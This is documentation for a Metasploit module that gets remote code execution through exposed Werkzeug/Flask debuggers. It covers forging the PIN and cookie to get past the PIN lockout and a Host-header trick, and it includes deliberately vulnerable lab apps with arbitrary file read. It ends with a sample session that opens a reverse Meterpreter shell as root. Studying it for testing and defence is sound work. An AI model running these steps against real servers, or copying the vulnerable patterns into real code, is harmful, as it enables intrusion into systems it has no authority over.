## Vulnerable Application

### Background

The [Werkzeug](https://werkzeug.palletsprojects.com/)
[debugger](https://werkzeug.palletsprojects.com/en/3.0.x/debug/) allows
developers to execute python commands in a web application either when an
exception is not caught by the application, or via the dedicated console if
enabled.

Werkzeug is included with [Flask](https://flask.palletsprojects.com/), but the
debugger is not enabled by default. It is also included in other projects, for
example
[RunServerPlus](https://django-extensions.readthedocs.io/en/latest/runserver_plus.html),
part of [django-extensions](https://django-extensions.readthedocs.io/) and may
also be used alone.

[The Werkzeug documentation](https://werkzeug.palletsprojects.com/en/3.0.x/debug/)
states: "*The debugger allows the execution of arbitrary code which makes it a
major security risk. The debugger must never be used on production machines. We
cannot stress this enough. Do not enable the debugger in production. Production
means anything that is not development, and anything that is publicly
accessible.*"

Additionally,
[the Flask documentation](https://flask.palletsprojects.com/en/3.0.x/debugging/)
states: "*Do not run the development server, or enable the built-in debugger, in
a production environment. The debugger allows executing arbitrary Python code
from the browser. It’s protected by a pin, but that should not be relied on for
security.*"

**Of course this doesn't prevent developers from mistakenly enabling it in
production!**

### Exploit Details

Werkzeug versions 0.10 and older of did not include the PIN security feature,
therefore if the debugger was enabled then arbitrary code execution could be
easily achieved. Versions 0.11 and above enable the PIN by default, though it
can be disabled by the application developer. The format of the PIN is 9
numerical digits, and can include hyphens (which are ignored by the
application.) I.e. `123456789` is the same as `123-456-789`. The PIN is logged
to stdout when the PIN prompt is shown to the user, therefore if access to
stdout is possible then it may be able to obtain the PIN using that feature.

A custom PIN can be set by the application developer as an environment variable,
but it is more commonly generated by Werkzeug using an algorithm that is seeded
by information about the environment that the application is running in.

Therefore, if the debugger or console is enabled and is not protected by a PIN,
or if it is possible to obtain the PIN, cookie or the required information about
the environment that the app is running in (e.g. by exploiting a separate path
traversal bug in the app) then remote Python code execution will be possible.

If the debugger is "secured" with a PIN then, it will be automatically locked
after 11 unsuccessful authentication attempts, requiring a restart to re-enable
PIN based authentication. This can be avoided by calculating the value of a
cookie and sending that to the debugger instead of sending the PIN, which is
what this module does, unless the Known-PIN method of exploitation is used.
Furthermore, authentication using a cookie works even if the PIN-based
authentication method has been locked because of too many failed authentication
attempts. This means that this exploit will work even if the debugger
PIN-authentication is locked.

[HackTheBox had a challenge called "Agile"](https://app.hackthebox.com/machines/Agile)
that required this vulnerability to be exploited in order to gain an initial
foothold. As a result there are many walkthroughs available online that explain
how a valid PIN can be generated using
[the algorithm in the Werkzeug source code](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L142)
along with information about the environment. As far as I can tell, none of
these walkthroughs mention that a cookie can also be generated, and that a
cookie will bypass a PIN-locked debugger. Neither do they mention that very old
versions of Werkzeug don't require PIN or that the PIN/cookie generation
algorithm has changed over time.

To support the different PIN/cookie generation algorithms, this module supports
multiple different versions of Werkzeug as the target.

It should be noted that version
[3.0.3 includes a check](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L309)
to see ensure that requests that include python code to be executed by the
debugger must come from localhost or 127.0.0.1. This is done by checking the
Host HTTP header, and therefore can in some cases be bypassed by setting the
Host header manually using the VHOST parameter in this module.

## Tested Versions

This module has been verified against the following versions of Werkzeug:
- 3.0.3  on Debian 12, Windows 11 and macOS 14.6
- 1.1.4  on Debian 12
- 1.0.1  on Debian 12
- 0.11.5 on Debian 12
- 0.10   on Debian 12

## Sample Vulnerable Application

The following Docker Compose file, Dockerfiles and Python script can be used to
build and run a set of containers that have the console enabled (at /console)
and also contains endpoints that cause the application to attempt to read the
content of a file and include it in the response. These endpoints can be used
for arbitrary file read, but also for triggering the debugger, for example by
requesting the content of a file that doesn't exist in the container.

#### compose.yaml

    services:
      werkzeug-3.0.3:
        build:
          dockerfile: werkzeug-3.0.3.Dockerfile
        ports:
          - "80:80"
      werkzeug-1.0.1:
        build:
          dockerfile: werkzeug-1.0.1.Dockerfile
        ports:
          - "81:80"
      werkzeug-0.11.5:
        build:
          dockerfile: werkzeug-0.11.5.Dockerfile
        ports:
          - "82:80"
      werkzeug-0.10:
        build:
          dockerfile: werkzeug-0.10.Dockerfile
        ports:
          - "83:80"
      werkzeug-3.0.3-basicauth-custompin:
        build:
          dockerfile: werkzeug-3.0.3-basicauth.Dockerfile
        environment:
          WERKZEUG_DEBUG_PIN: 1234
        ports:
          - "84:80"
      werkzeug-3.0.3-noevalex:
        build:
          dockerfile: werkzeug-3.0.3.Dockerfile
        ports:
          - "85:80"
        entrypoint:
          - ./app.py
          - --no-evalex

#### werkzeug-3.0.3.Dockerfile

    # syntax=docker/dockerfile:1
    FROM python:3
    RUN pip install werkzeug==3.0.3 flask==3.0.3
    COPY report.txt .
    COPY --chmod=744 app.py .
    EXPOSE 80
    ENTRYPOINT ["./app.py"]

#### werkzeug-1.0.1.Dockerfile

    # syntax=docker/dockerfile:1
    FROM python:2
    RUN pip install werkzeug==1.0.1 flask==1.1.4
    COPY report.txt .
    COPY --chmod=744 app.py .
    EXPOSE 80
    ENTRYPOINT ["./app.py"]

#### werkzeug-0.11.5.Dockerfile

    # syntax=docker/dockerfile:1
    FROM python:2
    RUN pip install werkzeug==0.11.5 flask==0.12.5
    COPY report.txt .
    COPY --chmod=744 app.py .
    EXPOSE 80
    ENTRYPOINT ["./app.py"]

#### werkzeug-0.10.Dockerfile

    # syntax=docker/dockerfile:1
    FROM python:2
    RUN pip install werkzeug==0.10 flask==0.12.5
    COPY report.txt .
    COPY --chmod=744 app.py .
    EXPOSE 80
    ENTRYPOINT ["./app.py"]

#### werkzeug-3.0.3-basicauth.Dockerfile

    # syntax=docker/dockerfile:1
    FROM python:3
    RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0
    COPY report.txt .
    COPY --chmod=744 app-basicauth.py app.py
    EXPOSE 80
    ENTRYPOINT ["./app.py"]

#### app.py

    #!/usr/bin/env python

    import click
    from flask import Flask, request, url_for, make_response
    from sys import argv

    app = Flask(__name__)

    @app.route("/")
    def index():
        return (
            '<p><a href="' + url_for("getdownload", file="report.txt") + '">'
            'Download Report Using GET</a></p>'
            '<p><form method="post" action="' + url_for("postdownload") + '">'
            '<input name="file" type=hidden value="report.txt">'
            '<input type="submit" value="Download Report Using POST">'
            '</form></p>'
    )

    def build_response(filename):
        with open(filename) as file:
             response = make_response(file.read())
             response.headers['Content-disposition'] = 'attachment'
             return response

    @app.route("/getdownload")
    def getdownload():
        return build_response(request.args.get('file'))

    @app.route("/postdownload", methods=['POST', 'PUT'])
    def postdownload():
        return build_response(request.form['file'])

    @click.command()
    @click.option("--no-evalex", is_flag=True, default=False)
    def runserver(no_evalex):
        evalex = not no_evalex
        app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
                use_reloader=False, use_evalex=evalex)

    if __name__ == '__main__':
        runserver()

#### app-basicauth.py

    #!/usr/bin/env python

    import click
    from flask import Flask, request, url_for, make_response
    from sys import argv

    from flask_httpauth import HTTPBasicAuth
    from werkzeug.security import generate_password_hash, check_password_hash

    app = Flask(__name__)

    auth = HTTPBasicAuth()
    users = {"admin": generate_password_hash("admin")}

    @auth.verify_password
    def verify_password(username, password):
        if username in users and \
                check_password_hash(users.get(username), password):
            return username

    @app.route("/")
    @auth.login_required
    def index():
        return (
            '<p><a href="' + url_for("getdownload", file="report.txt") + '">'
            'Download Report Using GET</a></p>'
            '<p><form method="post" action="' + url_for("postdownload") + '">'
            '<input name="file" type=hidden value="report.txt">'
            '<input type="submit" value="Download Report Using POST">'
            '</form></p>'
    )

    def build_response(filename):
        with open(filename) as file:
             response = make_response(file.read())
             response.headers['Content-disposition'] = 'attachment'
             return response

    @app.route("/getdownload")
    @auth.login_required
    def getdownload():
        return build_response(request.args.get('file'))

    @app.route("/postdownload", methods=['POST', 'PUT'])
    @auth.login_required
    def postdownload():
        return build_response(request.form['file'])

    @click.command()
    @click.option("--no-evalex", is_flag=True, default=False)
    def runserver(no_evalex):
        evalex = not no_evalex
        app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
                use_reloader=False, use_evalex=evalex)

    if __name__ == '__main__':
        runserver()

#### report.txt

    Hi there, I'm a sample report

## Verification Steps

1. Run the docker containers
2. Start msfconsole

### Werkzeug 3.0.3 using /console

3. Do: `use exploit/multi/http/werkzeug_debug_rce`
4. Do: `set RHOSTS <Iip>`
5. Do: `set LHOST <ip>`
6. Do: `set VHOST 127.0.0.1`
7. Do: `set MACADDRESS <mac-address>`
8. Do: `set MACHINEID <machine-id>`
9. Do: `set FLASKPATH /usr/local/lib/<python3.version>/site-packages/flask/app.py` (where `<python3.version>` matches the version on the system being exploited)
10. Do: `run`
11. You should see a PIN and a cookie being logged then get a shell.

### Werkzeug 3.0.3 using debugger (GET)

12. Do: `set TARGETURI /getdownload?file=`
13. Do: `run`
14. You should see a PIN and a cookie being logged then get a shell.

### Werkzeug 3.0.3 using debugger (POST)

15. Do: `set METHOD POST`
16. Do: `set TARGETURI /postdownload`
17. Do: `set REQUESTBODY file=`
18. Do: `run`
19. You should see a PIN and a cookie being logged then get a shell.

### Werkzeug 1.0.1 using /console

20. Do: `unset METHOD`
21. Do: `unset TARGETURI`
22. Do: `unset REQUESTBODY`
23. Do: `set RPORT 81`
24. Do: `set TARGET 1`
25. Do: `set MACADDRESS <mac-address>`
26. Do: `set MACHINEID <machine-id>`
27. Do: `set FLASKPATH /usr/local/lib/python2.7/site-packages/flask/app.pyc`
28. Do: `run`
29. You should see a PIN and a cookie being logged then get a shell.

### Werkzeug 1.0.1 using /debugger (GET)

30. Do: `set TARGETURI /getdownload?file=`
31. Do: `run`
32. You should see a PIN and a cookie being logged then get a shell.

### Werkzeug 1.0.1 using debugger (POST)

33. Do: `set METHOD POST`
34. Do: `set TARGETURI /postdownload`
35. Do: `set REQUESTBODY file=`
36. Do: `run`
37. You should see a PIN and a cookie being logged then get a shell.

### Werkzeug 0.11.5 using /console

38. Do: `unset METHOD`
39. Do: `unset TARGETURI`
40. Do: `unset REQUESTBODY`
41. Do: `set RPORT 82`
42. Do: `set TARGET 2`
43. Do: `set MACADDRESS <mac-address>`
44. Do: `set MACHINEID <machine-id>`
45. Do: `run`
46. You should see a PIN and a cookie being logged then get a shell.

### Werkzeug 0.11.5 using /debugger (GET)

47. Do: `set TARGETURI /getdownload?file=`
48. Do: `run`
49. You should see a PIN and a cookie being logged then get a shell.

### Werkzeug 0.11.5 using debugger (POST)

50. Do: `set METHOD POST`
51. Do: `set TARGETURI /postdownload`
52. Do: `set REQUESTBODY file=`
53. Do: `run`
54. You should see a PIN and a cookie being logged then get a shell.

### Werkzeug 0.10.1 (No authentication required) using /console

55. Do: `unset METHOD`
56. Do: `unset TARGETURI`
57. Do: `unset REQUESTBODY`
58. Do: `set RPORT 83`
59. Do: `set TARGET 3`
60. Do: `set AUTHMODE none`
61. Do: `set MACADDRESS <mac-address>`
62. Do: `set MACHINEID <machine-id>`
63. Do: `run`
64. You should see a PIN and a cookie being logged then get a shell.

### Werkzeug 0.10.1 (No authentication required) using /debugger (GET)

65. Do: `set TARGETURI /getdownload?file=`
66. Do: `run`
67. You should see a PIN and a cookie being logged then get a shell.

### Werkzeug 0.10.1 (no authentication required) using debugger (POST)

68. Do: `set METHOD POST`
69. Do: `set TARGETURI /postdownload`
70. Do: `set REQUESTBODY file=`
71. Do: `run`
72. You should see a PIN and a cookie being logged then get a shell.

### Werkzeug 3.0.3 using debugger (POST) and known PIN with Basic HTTP Auth

73. Do: `set RPORT 84`
74. Do: `set TARGET 0`
75. Do: `set AUTHMODE known-PIN`
76. Do: `set HTTPUSERNAME admin`
77. Do: `set HTTPPASSWORD admin`
78. Do: `set PIN 1234`
79. Do: `run`
80. You should see a cookie being logged then get a shell.

### Werkzeug 3.0.3 interactive debugger disabled

81. Do: `set RPORT 85`
82. Do: `unset AUTHMODE`
83. Do: `set MACADDRESS <mac-address>`
84. Do: `set MACHINEID <machine-id>`
85. Do: `set FLASKPATH /usr/local/lib/<python3.version>/site-packages/flask/app.py` (where `<python3.version>` matches the version on the system being exploited)
86. Do: `run`
87. You should see a failure due to the check failing.

## Options

### `AUTHMODE`

Method of authentication. Valid values are:

- `generated-cookie`: Cookie generated from information provided about the
  application's environment. **When this mode is used, the following additional
  options must be set:**
  - `APPNAME`: The name of the application according to Werkzeug. This is often
    `Flask`, `DebuggedApplication` or `wsgi_app`. Used along with other
    information to generate a PIN and cookie.
  - `CGROUP`: Control group. This may be an empty string (''), for example if
    the OS running the app is Linux and supports cgroup v2, or the OS is not
    Linux. If you have path traversal on Linux, this could be read from
    `/proc/self/cgroup`
  - `FLASKPATH`: Path to (and including) `site-packages/flask/app.py`. *If you
    have triggered the debugger via an exception, it will be at the top of the
    stack trace. E.g. `/usr/local/lib/python3.12/site-packages/flask/app.py`*.
    **Note that the file extension may need to be changed to .pyc**
  - `MACADDRESS`: The MAC address of the system that the application is running
    on. *If you have path traversal on Linux, this could be read from
    `/sys/class/net/eth0/`*
  - `MACHINEID`:
    - On Linux: *If you have path traversal on Linux, this could be read from
      /etc/machine-id, or if that doesn't exist,
      /proc/sys/kernel/random/boot_id.*
    - On Windows: This is a UUID stored in the registry at
      `HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid`.
    - On macOS,: This is the UTF-8 encoded serial number of the system
      (lower-case hexadecimal), padded to 32 characters. E.g. `N0TAREALSERIAL`
      becomes
      `4e3054415245414c53455249414c000000000000000000000000000000000000`. This
      can be retrieved with the following command
      `ioreg -c IOPlatformExpertDevice | grep \"serial-number\"`
  - `MODULENAME`: Name of the application module. Often `flask.app` or
    `werkzeug.debug`
  - `SERVICEUSER`: User account name that the service is running under.
    [This may be an empty string ('') in some cases](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L172)
    . *If you have path traversal on Linux, you may be able to read this from
    `/proc/self/environ`*
- `known-cookie`: Cookie provided by user. **When this mode is used, the
  following additional option must be set:**
  - `COOKIE`: The HTTP cookie to use for authentication to the debugger.
- `known-PIN`: **Does not bypass PIN-locked applications.** PIN provided by
  user. **When this mode is used, the following additional option must be set:**
  - `PIN`: Known 6 digit PIN to use for authentication. This can be set to a
    custom value by the application developer, in which case generating the pin
    won't work. *However, if you have path traversal, you may be able to
    retrieve the PIN by reading the application source code, or on Linux by
    reading `/proc/self/environ` to obtain the value. of the
    `WERKZEUG_DEBUG_PIN` environment variable. It may also be possible to obtain
    the PIN by accessing the logging that Werkzeug prints to stdout*.
- `none`: For applications that don't require authentication. I.e. Werkzeug
  version 0.10 or lower or PIN authentication has been disabled by the
  application developer.

### `METHOD`

HTTP method used to access debugger or console. This is typically GET if the
`TARGETURI` is `/console` but it may be necessary to use other methods to
trigger the debugger. Valid values are: `GET`, `HEAD`, `POST`, `PUT`, `DELETE`,
`OPTIONS`, `TRACE` and `PATCH`. **When `METHOD` is `POST`, `PUT` or `PATCH` the
following additional option may be set:**

- `REQUESTBODY`: Body to send in POST/PUT/PATCH request, if required to trigger
  the debugger. E.g. invalid form value to raise an exception. **When this is
  set the following additional option may be set:**
  - `REQUESTCONTENTTYPE`: Request body encoding. Default:
    `application/x-www-form-urlencoded`

### `TARGETURI`

The path to the console or resource used to trigger the debugger. Default value
is `/console`.

### `VHOST`

The value to use in the HTTP `Host` header. It may be necessary to set this to
`127.0.0.1` or `localhost` if the target Werkzeug version is 3.0.3 or later,
however this may hamper connectivity if the `Host` header is validated before
the request is passed to the application.

### `TARGET`

Determines which algorithm the exploit module will use to generate a pin and
cookie. Valid values are:

- `0`: Werkzeug > 1.0.1 (Flask > 1.1.4)
- `1`: Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)
- `2`: Werkzeug 0.11 - 0.11.5 (Flask < 1.0)
- `3`: Werkzeug < 0.11 (Flask < 1.0)

## Scenarios

Example utilizing the previously mentioned sample app listed above.

    $ msfconsole -q                         
    msf > use exploit/multi/http/werkzeug_debug_rce
    [*] No payload configured, defaulting to python/meterpreter/reverse_tcp
    msf exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5
    RHOSTS => 192.168.23.5
    msf exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117
    LHOST => 192.168.23.117
    msf exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1
    VHOST => 127.0.0.1
    msf exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04
    MACADDRESS => 02:42:ac:12:00:04
    msf exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8
    MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8
    msf exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py
    FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py
    msf exploit(multi/http/werkzeug_debug_rce) > run

    [*] Started reverse TCP handler on 192.168.23.117:4444
    [*] Running automatic check ("set AutoCheck false" to disable)
    [*] Debugger allows code execution
    [!] The service is running, but could not be validated. Debugger requires authentication
    [*] Generated authentication PIN: 105-774-671
    [*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248
    [*] Sending stage (24772 bytes) to 192.168.23.5
    [*] Meterpreter session 1 opened (192.168.23.117:4444 -> 192.168.23.5:62474) at 2024-10-06 19:34:20 +0100

    meterpreter > getpid
    Current pid: 38
    meterpreter > getuid
    Server username: root
    meterpreter > sysinfo
    Computer        : 3eb759665d5f
    OS              : Linux 6.6.51-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2024-09-12 12:56:22
    Architecture    : aarch64
    System Language : C
    Meterpreter     : python/linux
    meterpreter > shell
    Process 41 created.
    Channel 1 created.

    ls
    app.py
    bin
    boot
    dev
    etc
    home
    lib
    media
    mnt
    opt
    proc
    report.txt
    root
    run
    sbin
    srv
    sys
    tmp
    usr
    var
    exit

## Credits
    
- 2015 - h00die (mike[at]shorebreaksecurity.com)
  - Initial module targetting versions 0.10 and older of Werkzeug that do not require authentication.
- 2024 - Graeme Robinson (metasploit[at]grobinson.me/@GraSec)
  - Support up to and including version 3.0.3 of Werkzeug via 3 different authentication mechanisms:
  - Generated Cookie (bypasses PIN-lock)
  - Known-Cookie (bypasses PIN-lock)
  - Known-PIN
